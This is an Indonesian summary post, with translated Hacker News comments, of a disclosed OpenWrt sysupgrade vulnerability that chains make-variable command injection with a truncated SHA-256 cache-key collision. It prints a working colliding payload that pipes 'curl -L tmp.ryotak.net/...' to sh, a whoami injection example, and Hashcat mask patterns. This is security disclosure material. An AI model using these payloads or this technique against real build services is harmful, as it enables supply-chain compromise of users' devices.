2 poin oleh GN⁺ 2024-12-10 | 1 komentar | Bagikan ke WhatsApp
  • Fitur upgrade web OpenWrt Attended Sysupgrade dibangun dengan arsitektur yang menghasilkan firmware di server build online, dan jika injeksi perintah digabungkan dengan collision SHA-256 yang dipotong, hasil build yang salah dapat dikembalikan untuk permintaan yang tampak normal
  • Nilai packages dari permintaan diteruskan ke variabel PACKAGES= milik make manifest, dan karena sifat ekspansi variabel pada make, penyerang dapat menjalankan perintah arbitrer di dalam container ImageBuilder
  • Hash daftar paket yang dipakai bukan seluruh SHA-256, melainkan hanya 12 karakter pertama, yaitu 48 bit, sehingga daftar paket yang berbeda dapat menghasilkan hash permintaan yang sama untuk kunci cache
  • Peneliti memperoleh kecepatan sekitar 18 miliar hash per detik dengan Hashcat yang dimodifikasi dan RTX 4090, lalu berhasil memverifikasi penimpaan artefak .bin milik ImageBuilder dengan payload injeksi perintah yang bertabrakan
  • Setelah laporan kerentanan privat, tim OpenWrt menghentikan sementara sysupgrade.openwrt.org dan merilis versi perbaikan dalam kurang dari 3 jam, tetapi tidak dapat memastikan apakah eksploitasi sebelumnya pernah terjadi

Struktur build firmware online Attended Sysupgrade

  • Antarmuka web LuCI milik OpenWrt memiliki Attended Sysupgrade, dan fitur ini membangun firmware baru memakai layanan online
  • Layanan build berjalan di sysupgrade.openwrt.org, dan ketika pengguna memilih perangkat target serta paket yang diinginkan, layanan ini membuat image firmware baru
  • Saat permintaan upgrade dilakukan, OpenWrt di sisi pengguna mengirim informasi berikut ke server
    • arsitektur target
    • profil perangkat
    • paket yang dipilih
  • Berdasarkan informasi ini, server membangun image firmware lalu mengembalikannya ke perangkat OpenWrt, dan perangkat mem-flash image yang diterima
  • Jika server yang membangun image dari paket yang disediakan pengguna tidak cukup terisolasi, hasil build tersebut menjadi permukaan serangan rantai pasok karena langsung diterapkan ke perangkat

Injeksi perintah melalui nilai PACKAGES

  • Server sysupgrade.openwrt.org adalah proyek open source, dan kode sumbernya ada di openwrt/asu
  • Lingkungan build dijalankan di dalam container yang dibuat dengan podman.containers.create, memakai konfigurasi seperti cap_drop=["all"], no_new_privileges=True, dan privileged=False
  • Kerentanannya muncul pada bagian pemanggilan make manifest
    • PROFILE={build_request.profile}
    • PACKAGES={' '.join(build_cmd_packages)}
    • STRIP_ABI=1
  • Target manifest pada OpenWrt ImageBuilder meneruskan lagi nilai PACKAGES dalam bentuk USER_PACKAGES="$(PACKAGES)"
  • Karena make mengekspansi variabel sebelum menjalankan perintah, nilai yang dikendalikan pengguna tidak ditangani dengan aman meskipun dibungkus tanda petik tunggal
    • Dalam contoh Makefile, menjalankan make var="'; whoami #" akan tetap mengeksekusi whoami bahkan di dalam echo '$(var)'
  • Karena parameter packages pada permintaan masuk ke variabel PACKAGES, penyerang dapat menyisipkan perintah ke nilai yang tampak seperti nama paket untuk menjalankan perintah arbitrer di dalam container ImageBuilder
  • Meskipun container terisolasi dari host, biner yang dihasilkan kemudian ditandatangani dengan kunci privat pada tahap berikutnya, sehingga injeksi perintah ini berkembang menjadi kerentanan rantai pasok

Kunci cache SHA-256 yang dipotong menjadi 12 karakter

  • get_request_hash menggabungkan beberapa field dari permintaan build untuk membuat hash permintaan, dan hash ini dipakai sebagai kunci cache build
  • Daftar paket tidak dimasukkan langsung sebagai string, melainkan hasil get_packages_hash(build_request.packages) dimasukkan ke hash permintaan luar
  • get_packages_hash menghapus paket duplikat, mengurutkannya, lalu menghitung SHA-256 dari string hasil gabungan dengan spasi, tetapi hanya mengembalikan 12 karakter pertama
  • Prefiks SHA-256 sepanjang 12 karakter adalah 48 bit, dan ruang kemungkinan yang tersedia adalah 2^48 = 281,474,976,710,656
  • Karena hash permintaan luar memuat hash paket yang dipotong ini, membuat collision pada hash paket membuat daftar paket yang berbeda berbagi kunci cache yang sama
  • Akibatnya, server dapat mengembalikan artefak build yang salah untuk permintaan paket yang berbeda

Mencari payload collision dengan Hashcat

  • Karena tidak menemukan alat brute force SHA-256 parsial, peneliti sempat membuat program OpenCL sendiri, tetapi menghitung 100 juta hash membutuhkan 10 detik, mirip dengan kecepatan hash CPU
  • Setelah itu, Hashcat dimodifikasi agar mencetak hash meskipun hanya 8 karakter yang cocok, lalu skrip kecil dipakai untuk memeriksa collision 12 karakter
  • Daftar paket normal diambil dari firmware-selector.openwrt.org, dan SHA-256 untuk daftar itu adalah 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb
    • 12 karakter pertamanya adalah 8f7018b33d94
    • Payload serangan juga harus memiliki prefiks 12 karakter yang sama
  • Awalnya, mask berbentuk `curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh` dijalankan pada RTX 4090, dan menghasilkan kecepatan sekitar 500 juta hash per detik
  • ?l menghasilkan a-z, sehingga ruang 10 huruf adalah 26^10 = 141,167,095,653,376, yang kira-kira setengah dari 2^48
  • Ketika mask diperpanjang menjadi 11 huruf dan posisi mask dipindahkan ke bagian depan perintah, kecepatannya meningkat drastis
    • Pola akhirnya adalah `?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • Pada pola ini, Hashcat menghitung sekitar 18 miliar hash per detik
  • Dalam waktu kurang dari 1 jam, collision 12 karakter berikut ditemukan
    • `slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • SHA-256 untuk string ini adalah 8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, dan 12 karakter pertamanya sama dengan daftar paket normal

Menggabungkan dua kerentanan untuk mengembalikan firmware yang salah

  • Jika payload collision dikirim sebagai parameter packages, injeksi perintah terjadi dan skrip dari tmp.ryotak.net dijalankan
  • Skrip verifikasi menambahkan kode ke /builder/scripts/json_overview_image_info.py untuk menimpa artefak yang dibuat oleh ImageBuilder
    • membaca daftar file di BIN_DIR
    • mencari file yang namanya berakhiran .bin lalu menulis "test" ke dalam isinya
  • Karena collision hash, server mengembalikan artefak build yang telah ditimpa kepada pengguna yang meminta daftar paket normal
  • Jika metode ini dieksploitasi, pengguna dapat ter-upgrade ke firmware berbahaya, yang dapat berujung pada kompromi perangkat

Pelaporan dan perbaikan

  • Kerentanan ini disampaikan ke tim OpenWrt melalui laporan kerentanan privat di GitHub
  • Setelah mengonfirmasi masalah, tim OpenWrt menghentikan sementara layanan sysupgrade.openwrt.org dan mulai melakukan investigasi
  • Versi perbaikan dirilis dalam kurang dari 3 jam, dan layanan pun dijalankan kembali
  • Kedua masalah sudah diperbaiki, tetapi karena kerentanan ini sempat ada untuk beberapa waktu, tidak diketahui apakah pihak lain sudah lebih dulu mengeksploitasinya
  • Tim OpenWrt juga menerbitkan pengumuman agar pengguna dapat memeriksa dan mendeteksi kemungkinan kompromi perangkat

Kesimpulan

  • sysupgrade.openwrt.org dapat dikompromikan dengan menggabungkan injeksi perintah dan collision SHA-256 yang dipotong
  • Ini adalah contoh jalur serangan rantai pasok yang berhasil dibuat dengan melakukan brute force serangan collision hash pada aplikasi nyata
  • Tim OpenWrt memang memperbaiki masalah dengan cepat dan memberi tahu pengguna, tetapi layanan build online harus memperlakukan kunci cache dan validasi input dengan sangat konservatif

1 komentar

 
GN⁺ 2024-12-10
Komentar Hacker News
  • Kerentanan yang terlewat dalam artikel itu adalah bahwa menjalankan kode yang disesuaikan untuk pengguna tertentu atau perangkat tertentu menjadi dinormalisasi.
    Tidak ada verifikasi reproducibility, dan tidak ada cara bagi siapa pun untuk memastikan layanan build dan unduhan kustom ini tidak membuat build yang ditanami backdoor.
    Harus ada jaminan bahwa kita menggunakan build xz-utils seperti yang dipakai Andres Freund, atau build yang nantinya bisa diperoleh peneliti keamanan untuk memeriksa apakah ada implan supply chain dalam perangkat lunak open source[1].
    Dulu ada tulisan yang menjelaskan upaya Mozilla untuk memublikasikan catatan build rilis dalam Merkle tree, tetapi upaya itu dihentikan[2]. Google sudah merapikan implementasi build firmware Pixel, tetapi aplikasi yang didistribusikan lewat Google Play Store tampaknya masih rentan (kecuali ada log lain yang tidak saya temukan)[3]. Dalam hal transparansi biner, Apple tampaknya lebih buruk daripada Google, karena di distribusi firmware dan aplikasi mereka menargetkan build per perangkat individual tanpa transparansi build.
    Contoh yang bagus adalah repositori ebuild Gentoo. Karena checksum sumber disimpan dalam satu repositori Git/Merkle tree, repositori itu mungkin tetap menjadi salah satu Merkle tree terbesar dan paling tersebar luas di antara perangkat lunak open source.
    [1] Setelah backdoor xz-utils, sebagian peneliti melakukan pemindaian otomatis/semiotomatis untuk mencari file berentropi tinggi yang tidak dapat dijelaskan, yang dapat memuat kode berbahaya tersembunyi dalam build perangkat lunak open source. Pada build kustom per pengguna/per perangkat, pekerjaan seperti ini mustahil dilakukan kecuali semua build dipublikasikan untuk analisis di kemudian hari, disertai log publik (Merkle tree) untuk build publik tersebut.
    [2] https://wiki.mozilla.org/Security/Binary_Transparency
    [3] https://developers.google.com/android/binary_transparency/ov...

    • Itu ide bagus dan saya juga mendukungnya, tetapi perlu diingat bahwa reproducibility bergantung pada determinisme.
      Banyak elemen yang masuk ke pipeline build pada dasarnya nondeterministik, karena keputusan pada waktu kompilasi bisa berbeda di tiap eksekusi. Bahkan jika mengesampingkan masalah flag, memang tujuan compiler pengoptimalan pada praktiknya cukup dekat ke arah itu. Seperti yang ditemukan banyak proyek reproducible builds, jika optimasi diaktifkan, reproducibility praktis tidak terjamin.
    • Untuk Google Play: https://developer.android.com/guide/app-bundle/code-transpar...
      Setahu saya tidak ada log terpusat, dan pengembang aplikasi dibiarkan memublikasikan sendiri kunci mereka atau log file transparansi.
    • Menggunakan layanan build semacam itu sejak awal sama saja dengan mengatakan, “saya bukan target yang cukup berharga untuk diserang secara terarah.”
    • Mencari file berentropi tinggi yang tidak dapat dijelaskan yang bisa memuat kode berbahaya tersembunyi dengan pemindaian otomatis/semiotomatis mudah diakali. Cukup sebar saja entropinya.
    • Saya ingat tim transparansi sertifikat Google pada dasarnya juga pernah merancang transparansi firmware untuk seluruh Linux, bukan hanya Android.
  • Bukankah "".join juga berbahaya?
    Jika bentuknya get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ..., hash bisa tetap sama meskipun karakter dipindahkan di antara field yang bersebelahan.
    Meski tidak bisa mengambil alih sistem secara langsung, ini bisa menyebabkan polusi cache dengan image yang rusak atau memicu downgrade.

    • Benar. Karena alasan yang dijelaskan, saat melakukan hashing terhadap beberapa input seharusnya menggunakan HMAC.
      Koreksi: yang tepat bukan HMAC, melainkan incremental hashing.
  • Jadi open source tidak akan pernah bisa bersaing dengan closed source enterprise:
    karena mereka memperbaikinya dalam 3 jam alih-alih membuat orang menunggu patch 6 bulan, tidak mencoba menuntut pelapor masalah, dan tidak sekadar menawarkan diskon kecil sambil menyuruh orang membuang perangkat “kuno” yang sebenarnya masih berfungsi baik dan membeli produk baru.

    • Di sini sebaiknya dibuat lebih jelas bahwa ini sarkasme. Karena bahasa Inggris bukan bahasa ibu saya, awalnya saya membaca “they” sebagai merujuk ke “closed source enterprise”, dan memahaminya seolah OpenWRT adalah pilihan berbahaya yang melakukan semua hal yang disebutkan itu.
    • Inilah tepatnya alasan saya menyukai OpenWrt. Mereka bahkan meminta orang seperti saya yang memakai screen reader untuk menguji apakah antarmuka webnya berfungsi dengan benar.
    • Itu memang benar, tetapi OpenWRT tampaknya sudah memperbaiki pemotongan hash, namun command injection belum diperbaiki.
      Semoga command injection juga akan diperbaiki. Seperti yang dikatakan tulisan itu, image yang dihasilkan ditandatangani. Bahkan tanpa tanda tangan pun, ini tetap masalah eksekusi kode dari input pengguna yang tidak tepercaya. Dan kerentanan bisa saling berkaitan, seperti pada kasus tabrakan hash kali ini.
    • Saya punya router yang terpaksa harus dipakai karena ISP, dan router itu memiliki beberapa CVE dari tingkat buruk sampai benar-benar serius, kebanyakan sudah berumur beberapa tahun.
      Bisa diganti, tetapi hanya dengan model yang sama. ISP sama sekali tidak peduli keamanan dan tidak melakukan patch. Padahal mereka punya akses eksklusif ke router dan bahkan bisa login jarak jauh; itu benar-benar tidak masuk akal.
    • Ini hanya mungkin pada segelintir proyek open source yang punya dukungan perusahaan dan sumber daya untuk memperbaiki dengan cepat.
      Di sebagian besar proyek open source, maintainer sering kali sudah terlalu kewalahan, atau sekadar tidak ingin memperbaiki masalah keamanan.
  • Pertama, ini adalah contoh di mana sebuah alat yang sebenarnya tidak dibuat untuk tujuan seperti itu tetap open source dan ditulis tanpa BuilderFactoryProvider, sehingga bisa disesuaikan dengan pekerjaan dalam waktu singkat.
    Maaf kalau ini sudah pernah dibahas, tetapi hal ini membuat saya sangat menderita setiap hari.
    Kalau perusahaan besar, memperbaikinya mungkin akan memakan waktu -1 tahun. Karena mereka hanya akan menuntut orang itu dan berusaha menangkapnya secepat mungkin, lalu tidak akan pernah merilis patch.
    OpenWrt, setelah menerima informasi, menurunkan layanan yang tidak aman, lalu pengguna sudah berada dalam kondisi aman berkat shutdown tersebut saat laporan diverifikasi, kemudian membuat patch dan mendistribusikannya dalam 3 jam. Luar biasa.

  • Saya penasaran bagaimana orang bisa terpikir untuk memakai hash yang dipotong. Apa tujuan atau keuntungannya?

    • Fungsi hash yang dipotong tidak rentan terhadap length extension attack. Namun biasanya orang memakai SHA-512 lalu memotongnya menjadi 256 bit. Dengan standar sekarang, kalau lebih pendek dari itu sulit dianggap aman
    • Kadang itu dilakukan untuk menyesuaikan dengan batas panjang yang sudah ada pada alat atau basis data lama. Atau ketika hash dipakai hanya sebagai identifier lokasi sederhana, bukan untuk verifikasi integritas
      Saya tidak menganggapnya praktik yang baik, tetapi orang memang berkompromi dalam praktiknya
    • Menurut commit, itu dilakukan untuk memendekkan nama file unduhan dan panjang URL
    • Kadang juga dipakai ketika membutuhkan payload yang lebih kecil
      Menurut jawaban @Reid di [2] dan jawaban @ThomasPornin di [3], gagasan memotong hash juga didukung sepenuhnya oleh NIST. Faktanya, SHA-224 adalah hasil pemotongan SHA-256, dan SHA-384 adalah hasil pemotongan SHA-512
      https://security.stackexchange.com/a/97389
    • Itu dilakukan ketika melakukan upgrade dari SHA-1 ke SHA-256, tetapi tidak ingin mengubah format data untuk pemeriksaan integritas atau penyimpanan kunci
  • Tulisannya bagus. Saya agak terkejut bahwa untuk menemukan collision sependek ini dibutuhkan komputasi GPU sebanyak itu, tetapi menyenangkan melihat implementasinya
    Terkait bagian terakhir, apakah 40 ribu dolar untuk sebulan analisis keamanan merupakan harga yang masuk akal? Kalau begitu, apakah peneliti keamanan yang bagus menghasilkan sekitar 500 ribu dolar per tahun?

    • Artinya, perusahaan riset keamanan yang bagus bisa saja menghasilkan pendapatan 500 ribu dolar dari satu peneliti yang sangat hebat. Namun mereka harus bisa mendatangkan cukup banyak pekerjaan agar orang itu terpakai 100%. Jika memperhitungkan cuti berbayar, kenyataannya lebih kecil
    • Menurut saya itu terlihat cukup masuk akal. Perusahaan penetration testing yang pernah bekerja dengan saya dulu menagih sekitar sebesar itu, sambil menjalankan scan nmap/metasploit yang malas lalu membungkusnya dalam PDF yang tampak meyakinkan
    • Di era setelah LLM, komputasi satu jam pada 4090 bukan “sebanyak itu”, malah lebih dekat ke “justru sedikit”. Bahkan bisa dilakukan dengan biaya di bawah 1 dolar
    • 2^(12*4) berarti ada 281.474.976.710.656 kemungkinan string 12 karakter, jadi fakta bahwa sebanyak itu bisa disapu dalam satu jam benar-benar mengesankan
  • Apa maksudnya performa hashcat bisa berbeda beberapa digit tergantung urutan argumen? Apakah setiap kali dijalankan ia memindai pola target pada baris argumen?

    • Mungkin seperti membuka gembok: mulai dari kiri, lalu melihat apakah masih bisa dilanjutkan atau membuang tebakan itu. Kalau begitu, menaruh “pilihan” di depan membuatnya tidak perlu dibuat ulang setiap kali. Bisa juga karena alasan tertentu prefix tidak atau tidak bisa di-cache
      Atau mungkin strukturnya seperti saat menghitung angka:
      100000000000
      010000000000
      110000000000
      001000000000
      Sebagian besar perubahan terjadi di kiri, sementara perubahan di kanan jarang terlihat. Akan menarik kalau ada orang yang memahami hashcat menjawabnya. Saya hanya sedang melempar dugaan
  • Proses serangannya ditulis dengan sangat baik dan mudah diikuti